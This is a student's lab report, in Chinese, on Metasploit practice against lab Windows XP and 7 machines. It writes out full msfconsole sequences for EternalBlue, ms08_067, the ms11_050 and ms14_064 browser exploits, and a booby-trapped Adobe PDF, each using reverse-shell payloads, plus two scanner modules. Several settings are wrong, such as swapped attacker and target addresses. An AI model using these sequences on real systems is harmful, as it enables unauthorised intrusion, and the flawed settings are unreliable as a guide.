实验内容
本实践目标是掌握metasploit的基本应用方式,重点常用的三种攻击方式的思路。具体需要完成:
1.1一个主动攻击实践,如ms08_067; (1分)
1.2 一个针对浏览器的攻击,如ms11_050;(1分)
1.3 一个针对客户端的攻击,如Adobe;(1分)
1.4 成功应用任何一个辅助模块。(0.5分)
以上四个小实践可不限于以上示例,并要求至少有一个是和其他所有同学不一样的,否则扣除0.5分。
基础知识问答
用自己的话解释什么是 exploit、payload、encode.
用自己感觉通俗的话来说:
- exploit: msf用来攻击的一种模块工具。
- payload: 老师上课说的,用来将msf生成的shellcode送到执行攻击程序的代码里去。
-
encode: 主要功能是编码,就是伪装攻击代码,让它能够绕过“坏字符”,从而能正常地攻击靶机,避免出现因“坏字符”而出现问题。
知识储备
MSF的六种模块
-
Exploit模块
其实就是攻击模块,即负责攻击的模块。
是利用发现的安全漏洞或配置弱点对远程目标系统进行攻击,以植入和运行攻击载荷,从而获得对远程目标系统访问权的代码组件。 - Payload模块
是在渗透成功后促使目标系统运行的一端植入代码,通常作用是为渗透攻击者打开在目标系统上的控制会话连接。实际上,该模块就是计算机集成的针对不同操作系统实现shellcode攻击的ruby代码,通俗地来说,就是负责“搬运”shellcode。 -
Encoder模块
不改变payload作用,但能对payload进行加工,使其绕过“坏字符”。
针对payload进行编码,可以通过多种编码手段、多次编码方式有效的改变payload代码特征 -
Aux模块
主要包括针对各种网络服务的扫描和查点、构建虚假服务收集登录密码、口令猜测破解、敏感信息嗅探、探查敏感信息泄露、Fuzz测试发掘漏洞、实施网络协议欺骗等模块。
能够帮助渗透测试中在进行渗透攻击之前得到的目标系统丰富的情报信息,从而发起更具目标性的精准攻击。 -
Post模块
这里主要指的是攻击之后可能用到的一些模块。
支持在渗透攻击取得目标系统远程控制权之后,在受控系统中进行给各样的后渗透攻击动作。 -
Nops模块
是一些对程序运行状态不会造成任何实质影响的空操作或无关操作指令,最典型的空指令就是空操作,在X86 CPU体系架构平台上的操作码是0x90因为有些代码返回地址很难确认,所以在实际中有时候会填充一大段空指令,便于快速确定返回地址的位置。
攻击实践
主动攻击实践
ms08_067(失败)
ms17_010永恒之蓝(成功)
针对浏览器的攻击
ms11_050(失败)
ms14_064(成功)
针对客户端的攻击
Adobe(成功)
成功应用任何一个辅助模块
ipidseq(成功)(有人完成过了。。)
webdav(成功且唯一)
实践过程
一个主动攻击实践
ms08_067_netapi(失败)
==攻击方:Kali(172.20.10.4)==
==靶机:WindowsXP SP3(English)(172.20.10.2)==
Ms08_067_netapi是一款Metasploit中有点老的溢出攻击载荷,攻击可以获得一个相对高的权限。
输入msfconsole指令,打开控制台;
依次输入以下指令进行设置与攻击:
msf > use exploit/windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) > show payloads
msf exploit(ms08_067_netapi) > set payload generic/shell_reverse_tcp //tcp反向回连
msf exploit(ms08_067_netapi) > set LHOST 192.168.1.234 //攻击机ip
msf exploit(ms08_067_netapi) > set LPORT 5206//攻击端口
msf exploit(ms08_067_netapi) > set RHOST 192.168.1.171 //靶机ip,特定漏洞端口已经固定
msf exploit(ms08_067_netapi) > exploit //攻击
在按照步骤输入之后,发现攻击失败,表示无法创建会话,我更换了靶机、上网查询找寻解决措施-关闭防火墙等都没能解决,可能是所用的靶机版本有1、高,补丁已经修复了。
ms17_010永恒之蓝
==攻击方:Kali(172.20.10.4)==
==靶机:WindowsXP SP3(English)(172.20.10.2)==
永恒之蓝漏洞是方程式组织在其漏洞利用框架中一个针对SMB服务进行攻击的漏洞,该漏洞导致攻击者在目标系统上可以执行任意代码。(SMB服务的作用:该服务在Windows与UNIX系列OS之间搭起一座桥梁,让两者的资源可互通有无。)
输入msfconsole指令,打开控制台;
依次输入以下指令进行设置与攻击:
use exploit/windows/smb/ms17_010_eternalblue //使用漏洞
set payload windows/x64/meterpreter/reverse_tcp //选择攻击载荷
set RHOST 172.20.10.4 //设置攻击方ip
set LHOST 172.20.10.2 //设置靶机ip
exploit
开始攻击失败,同样是会话无法创建的问题:
我后来更换了靶机,攻击成功;
ipconfig指令可以查看靶机ip地址等,发现是一致的。
针对浏览器的攻击
ms11_050
==攻击方:kali 172.20.10.4==
==靶机:win7 172.20.10.2==
输入msfconsole指令,打开控制台;
依次输入以下指令进行设置与攻击:
msf > use windows/browser/ms11_050_mshtml_cobjectelement //使用浏览器ms11_050漏洞
msf exploit(ms11_050_cobjectelement) > set payload windows/meterpreter/reverse_http //使用http反向回连
msf exploit(ms11_050_cobjectelement) > set LHOST 172.20.10.4 //攻击方ip
msf exploit(ms11_050_cobjectelement) > set LPORT 5206 //攻击方攻击端口固定
msf exploit(ms11_050_cobjectelement) > set URIPATH 5206hx //统一资源标识符路径设置
- 使用show options指令查看配置的相关信息;
使用exploit进行攻击,并将生成的网址在靶机中打开,表示网页打开失败,浏览器停止工作,攻击失败,更改ie浏览器的安全选项也没有解决;
ms14_064
==攻击方:kali 172.20.10.4==
==靶机:winxp 172.20.10.5 / win7 172.20.10.2==
输入msfconsole指令,打开控制台;
依次输入以下指令进行设置与攻击:
use exploit/windows/browser/ms14_064_ole_code_execution //选择攻击模块
set payload windows/meterpreter/reverse_tcp //设置tcp反向连接
此时使用info指令查看详细信息,发现可选xp和win7两个攻击的靶机系统,两个我都进行尝试了;
继续输入指令进行设置:
set SRVHOST 172.20.10.4 //设置攻击方IP
set AllowPowerShellPrompt true
set LHOST 172.20.10.5 //攻击方ip
set LPORT 5217 //攻击方攻击端口
set target 0/1 //设置winXP/win7靶机
exploit //发起渗透攻击
- 将生成的网址在靶机中打开;
靶机为win7时,攻击始终发送不过去,攻击失败
靶机为winxp时,可以发现会话已经创建,攻击成功;
- 输入sessions -i 1指令获取会话连接,输入ipconfig指令可以查看靶机的ip地址等信息,发现一致;
针对客户端的攻击
Adobe
==攻击方:kali 172.20.10.4==
==靶机:winxp 172.20.10.5==
输入msfconsole指令,打开控制台;
依次输入以下指令进行设置:
use windows/fileformat/adobe_cooltype_sing //选择攻击模块
set payload windows/meterpreter/reverse_tcp //设置tcp反向连接
set LHOST 172.20.10.4 //攻击方IP
set LPORT 5217 //攻击方攻击端口
set FILENAME 20165217exp5.pdf //生成的文件名
在终端中,将生成的文件按照文件路径复制出来,并复制到靶机中;
- 在kali中重新打开,并输入以下指令进行监听:
use exploit/multi/handler //进入监听模块
set payload windows/meterpreter/reverse_tcp //设置tcp反向连接
set LHOST 172.20.10.4 //攻击方IP
set LPORT 5217 //攻击方攻击端口
exploit //监听
- 在靶机中打开20165217exp5.pdf的文件;
- 发现攻击成功,输入ipconfig指令可以查看靶机的ip地址等信息,发现一致;
- 关闭20165217exp5.pdf文件,会话关闭;
成功应用任何一个辅助模块
ipidseq(成功且唯一)
ipidseq功能:扫描网段中的存活ip,识别被发现主机的IPID(用于跟踪IP包的次序的一种技术)序列模式,并且表示出哪些是0、随机或递增的。
TCP空闲扫描:是一种高级的nmap扫描方式,这种扫描方式能让我们冒充网络上另一台主机的IP地址对目标进行更为隐秘的扫描。
输入show auxiliary查看所有辅助模块,并输入use scanner/ip/ipidseq选择攻击模块;
输入show payloads,并输入set payload windows/meterpreter/reverse_tcp指令进行选择;
输入show options指令查看相关信息;
设置靶机ip、攻击方ip等信息,输入exploit指令进行攻击;
攻击成功,完成扫描;
webdav: WebDAV 一种基于 HTTP 1.1协议的通信协议。由于 WebDAV 已与 Windows XP 和 IIS 集成,因此它具有这两者所提供的安全特性。其中包括 Internet 信息服务管理单元中指定的 IIS 权限和 NTFS 文件系统中的*选择访问控制列表 (DACL)。
- 进入msf控制台
- 使用show auxiliary命令显示所有的辅助模块以及他们的用途。
选择scanner/http/webdav_scanner
- show options查看该漏洞的配置选项
- 设置了kali的ip地址和线程
- 进行攻击
- 攻击的结果如上图所示,但是该靶机没有装IIS。
参考 WindowsXP系统如何启用IIS 安装IIS
允许webdav,再次进行攻击,会得到[*] 172.20.10.4 (Microsoft-IIS/6.0) has WEBDAV ENABLED的消息。
实验心得与体会
本次实验的内容并不是很难,但寻找合适靶机却着实让我费了一番功夫。所幸没有白费力气,在大量借鉴了往届与本届同学博客,查阅资料,成功的完成了本次实验。实验虽已完成,但我自觉对于实验的理解其实不够深刻,实验后我也会与同学们多交流学习,努力将实验的原理及步骤能有进一步的掌握。